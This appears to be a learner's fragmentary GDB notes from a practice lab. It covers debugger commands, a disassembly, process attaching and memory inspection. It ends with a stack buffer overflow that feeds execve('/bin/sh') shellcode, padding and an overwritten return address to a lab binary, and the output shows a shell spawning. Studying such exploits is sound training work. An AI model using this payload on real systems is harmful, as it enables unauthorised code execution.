gdb ./example0
set disassembly-flavor intel
show disassembly-flavor
break ,b
r, run
info break
info reg
print p
q
x/2wx x/s
c continue
nexti ni
1
gdb example0
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from example0...done.
(gdb) disas main
Dump of assembler code for function main:
0x000000000000064a <+0>: push rbp
0x000000000000064b <+1>: mov rbp,rsp
0x000000000000064e <+4>: sub rsp,0x10
0x0000000000000652 <+8>: mov DWORD PTR [rbp-0xc],0x0
0x0000000000000659 <+15>: mov DWORD PTR [rbp-0x8],0x1
0x0000000000000660 <+22>: mov DWORD PTR [rbp-0x4],0x2
0x0000000000000667 <+29>: mov edx,DWORD PTR [rbp-0x8]
0x000000000000066a <+32>: mov eax,DWORD PTR [rbp-0x4]
0x000000000000066d <+35>: add eax,edx
0x000000000000066f <+37>: mov DWORD PTR [rbp-0xc],eax
0x0000000000000672 <+40>: mov eax,DWORD PTR [rbp-0xc]
0x0000000000000675 <+43>: mov esi,eax
0x0000000000000677 <+45>: lea rdi,[rip+0x96] # 0x714
0x000000000000067e <+52>: mov eax,0x0
0x0000000000000683 <+57>: call 0x520 <printf@plt>
0x0000000000000688 <+62>: mov eax,0x0
0x000000000000068d <+67>: leave
0x000000000000068e <+68>: ret
End of assembler dump.
1
2
3
4
5
6
7
(gdb) b *0x000000000000066f
Breakpoint 1 at 0x66f: file example0.c, line 7.
(gdb) r
Starting program: /home/ubuntu/asm/example0
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x66f
ubuntu@ubuntu-virtual-machine:~/asm$ gdb -q -p 4141
Attaching to process 4141
Could not attach to process. If your uid matches the uid of the target
process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try
again as the root user. For more details, see /etc/sysctl.d/10-ptrace.conf
ptrace: Operation not permitted.
(gdb) q
ubuntu@ubuntu-virtual-machine:~/asm$ sudo gdb -q -p 4141
[sudo] password for ubuntu:
Attaching to process 4141
Reading symbols from /home/ubuntu/asm/read_write...(no debugging symbols found)...done.
Reading symbols from /lib32/libc.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
0xf7f85b59 in __kernel_vsyscall ()
(gdb)
(gdb) b *0x5664562c
Breakpoint 1 at 0x5664562c
(gdb) c
Continuing.
Breakpoint 1, 0x5664562c in main ()
(gdb) x/4wx $ebp-0x5c
0xff834c9c: 0x64636261 0x34333231 0x00000000 0x00000000
(gdb) info reg
eax 0xffffd054 -12204
ecx 0xffffd330 -11472
edx 0xffffd079 -12167
ebx 0x56556fd4 1448439764
esp 0xffffd04c 0xffffd04c
ebp 0xffffd078 0xffffd078
esi 0xf7fb7000 -134516736
edi 0x0 0
eip 0x5655558c 0x5655558c <vuln+63>
eflags 0x202 [ IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) b*0x56555598
Breakpoint 3 at 0x56555598
(gdb) c
Continuing.
Breakpoint 3, 0x56555598 in vuln ()
(gdb) x/wx $esp
0xffffd07c: 0x6b6b6b6b
test 끝
1
r `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"+"A"*17+"\x04\xd0\xff\xff"'`
1
2
3
4
5
6
7
(gdb) r `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"+"A"*17+"\x04\xd0\xff\xff"'`
Starting program: /home/ubuntu/dreamhack/example1 `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"+"A"*17+"\x04\xd0\xff\xff"'`
process 6746 is executing new program: /bin/dash
$ is
sh: 1: is: not found
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),127(kvm)